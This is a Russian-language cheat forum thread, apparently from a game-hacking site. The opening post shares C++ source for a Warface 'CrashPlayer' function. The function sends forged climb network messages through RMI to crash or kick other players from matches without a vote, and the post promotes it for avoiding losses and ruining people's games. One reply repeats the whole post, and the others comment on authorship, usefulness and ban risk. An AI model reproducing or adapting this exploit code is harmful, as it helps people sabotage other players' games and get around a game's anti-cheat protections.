Как кикать/крашить игроков Warface?

Начинающий
Статус
Оффлайн
Регистрация
7 Ноя 2020
Сообщения
10
Реакции[?]
0
Поинты[?]
0
Всем привет, сегодня я вам сливаю исходный код Crash'а комнат в Warface, причиной является его скорый детект, функция достаточно фановая и полезная. Способ существует довольно давно, но все не перестает работать. Также хотелось бы отметить, что вскоре я возможно солью аналог данного метода.

image (1).jpg

Определения:
Crash/Kick — Вылет/Изгнание игрока из катки, чаще всего происходят посредством голосования. Однако данный код позволяет нам изгнать игроков без голосования. Ранее было очень популярно благодаря роликам медийных личностей, которые попадались против читеров.

Mrac — Античит Warface'а, работающий на нулевом кольце (Ring0)

Ring0 — самый высокий уровень привилегий, доступный в ОС, позволяет обращаться к защищенным ресурсам - любым данным любой программы в памяти, выполнять операции ввода-вывода через любые порты.


Причина слива:
Данный способ уже вскоре может быть загружен в базу Mrac'а. К тому же появился новый более простой, но не менее удобный способ крашить комнаты.

Полезность функции:
Функция может помочь в тех случаях, когда вы проигрываете катку. Если во время игры например в РМ вы понимаете что скорее всего проиграете, можно крашнуть комнату и тогда поражение не будет засчитано. Также можно порофлить над всякими медийными личностями, портя и игру)))

image.jpg
Код:
C++:
    static struct SMessage    {
SMessageHandler* handle;
ESMType type;
EMessageType msgType;
DWORD64 serverTime;
int opcode;
bool instant;
    };
C++:
void CrashPlayer(CActor* mActor){
SM_Network::SClimbMessage msg;
ZeroMemory(&msg, sizeof(SM_Network::SClimbMessage));
msg.type = SM_Network::ESMType::eSMT_Climb;
msg.msgType = SM_Network::EMessageType::eMT_Start;
msg.handle = SMessageHandler::Singleton();
msg.instant = 0;
msg.opcode = 0;
msg.animIndex = EClimbAnim::eCA_None;
msg.animFinished = false;
msg.animStartPose = QuatT();
msg.helperClosestPoint = ZERO;
msg.serverTime = SSystemGlobalEnvironment::Singleton()->GetGame()->GetGameFramework()->GetServerTime();
auto method = mActor->GetGameObject()->CreateClimbBody(&msg);
if (method) {
::_InterlockedIncrement((volatile unsigned __int32*)((__int64)method + 0x38));
mActor->GetGameObject()->DoInvokeRMI(&method, 256, -1);

msg.type = SM_Network::ESMType::eSMT_Climb;
msg.msgType = SM_Network::EMessageType::eMT_End;
msg.handle = SMessageHandler::Singleton();
msg.instant = 0;
msg.opcode = 0;
msg.animIndex = EClimbAnim::eCA_None;
msg.animFinished = true;
msg.animStartPose = QuatT();
msg.helperClosestPoint = mActor->GetPosition();
msg.animStartPose.t = mActor->GetPosition();
msg.animStartPose.q.v = mActor->GetPosition();
msg.serverTime = SSystemGlobalEnvironment::Singleton()->GetGame()->GetGameFramework()->GetServerTime();
method = mActor->GetGameObject()->CreateClimbBody(&msg);
if (method) {
::_InterlockedIncrement((volatile unsigned __int32*)((__int64)method + 0x38));
mActor->GetGameObject()->DoInvokeRMI(&method, 256, -1);
}
}
}

В добавок в вышесказанному хочу отметить, что функция не нагружает ваш ПК и не сказывается на общую оптимизацию чита.
Вам осталось лишь подстроить код под ваш исходник чита.

Спасибо за внимание, удачи в порче настроения людям)))
 
Последнее редактирование:
Начинающий
Статус
Оффлайн
Регистрация
24 Авг 2022
Сообщения
308
Реакции[?]
2
Поинты[?]
2K
крутяк, а на каком языке пишут читы для варфейса ?
 
Забаненный
Статус
Оффлайн
Регистрация
8 Июн 2022
Сообщения
15
Реакции[?]
2
Поинты[?]
1K
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
Взято с UC:
1690061760968.png
 
Начинающий
Статус
Оффлайн
Регистрация
30 Мар 2023
Сообщения
18
Реакции[?]
2
Поинты[?]
2K
Зачем ты заливаешь анюзлес функцию, хотя даже не понимаешь, как она функционирует?)
 
Забаненный
Статус
Оффлайн
Регистрация
15 Май 2023
Сообщения
51
Реакции[?]
1
Поинты[?]
1K
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
Причина слива:
Данный способ уже вскоре может быть загружен в базу Mrac'а. К тому же появился новый более простой, но не менее удобный способ крашить комнаты.
сразу видно тех кто ничего не понимает в этом
 
Начинающий
Статус
Оффлайн
Регистрация
4 Май 2023
Сообщения
15
Реакции[?]
4
Поинты[?]
4K
Всем привет, сегодня я вам сливаю исходный код Crash'а комнат в Warface, причиной является его скорый детект, функция достаточно фановая и полезная. Способ существует довольно давно, но все не перестает работать. Также хотелось бы отметить, что вскоре я возможно солью аналог данного метода.

Определения:
Crash/Kick — Вылет/Изгнание игрока из катки, чаще всего происходят посредством голосования. Однако данный код позволяет нам изгнать игроков без голосования. Ранее было очень популярно благодаря роликам медийных личностей, которые попадались против читеров.

Mrac — Античит Warface'а, работающий на нулевом кольце (Ring0)

Ring0 — самый высокий уровень привилегий, доступный в ОС, позволяет обращаться к защищенным ресурсам - любым данным любой программы в памяти, выполнять операции ввода-вывода через любые порты.


Причина слива:
Данный способ уже вскоре может быть загружен в базу Mrac'а. К тому же появился новый более простой, но не менее удобный способ крашить комнаты.

Полезность функции:
Функция может помочь в тех случаях, когда вы проигрываете катку. Если во время игры например в РМ вы понимаете что скорее всего проиграете, можно крашнуть комнату и тогда поражение не будет засчитано. Также можно порофлить над всякими медийными личностями, портя и игру)))
Код:
C++:
    static struct SMessage    {
SMessageHandler* handle;
ESMType type;
EMessageType msgType;
DWORD64 serverTime;
int opcode;
bool instant;
    };
C++:
void CrashPlayer(CActor* mActor){
SM_Network::SClimbMessage msg;
ZeroMemory(&msg, sizeof(SM_Network::SClimbMessage));
msg.type = SM_Network::ESMType::eSMT_Climb;
msg.msgType = SM_Network::EMessageType::eMT_Start;
msg.handle = SMessageHandler::Singleton();
msg.instant = 0;
msg.opcode = 0;
msg.animIndex = EClimbAnim::eCA_None;
msg.animFinished = false;
msg.animStartPose = QuatT();
msg.helperClosestPoint = ZERO;
msg.serverTime = SSystemGlobalEnvironment::Singleton()->GetGame()->GetGameFramework()->GetServerTime();
auto method = mActor->GetGameObject()->CreateClimbBody(&msg);
if (method) {
::_InterlockedIncrement((volatile unsigned __int32*)((__int64)method + 0x38));
mActor->GetGameObject()->DoInvokeRMI(&method, 256, -1);

msg.type = SM_Network::ESMType::eSMT_Climb;
msg.msgType = SM_Network::EMessageType::eMT_End;
msg.handle = SMessageHandler::Singleton();
msg.instant = 0;
msg.opcode = 0;
msg.animIndex = EClimbAnim::eCA_None;
msg.animFinished = true;
msg.animStartPose = QuatT();
msg.helperClosestPoint = mActor->GetPosition();
msg.animStartPose.t = mActor->GetPosition();
msg.animStartPose.q.v = mActor->GetPosition();
msg.serverTime = SSystemGlobalEnvironment::Singleton()->GetGame()->GetGameFramework()->GetServerTime();
method = mActor->GetGameObject()->CreateClimbBody(&msg);
if (method) {
::_InterlockedIncrement((volatile unsigned __int32*)((__int64)method + 0x38));
mActor->GetGameObject()->DoInvokeRMI(&method, 256, -1);
}
}
}

В добавок в вышесказанному хочу отметить, что функция не нагружает ваш ПК и не сказывается на общую оптимизацию чита.
Вам осталось лишь подстроить код под ваш исходник чита.

Спасибо за внимание, удачи в порче настроения людям)))
Как минимум укажи авторство, во вторых ПРЕДУПРЕЖДАЮ - краш игроков приводит к бану аккаунта спустя 3-5 каток.
 
Сверху Снизу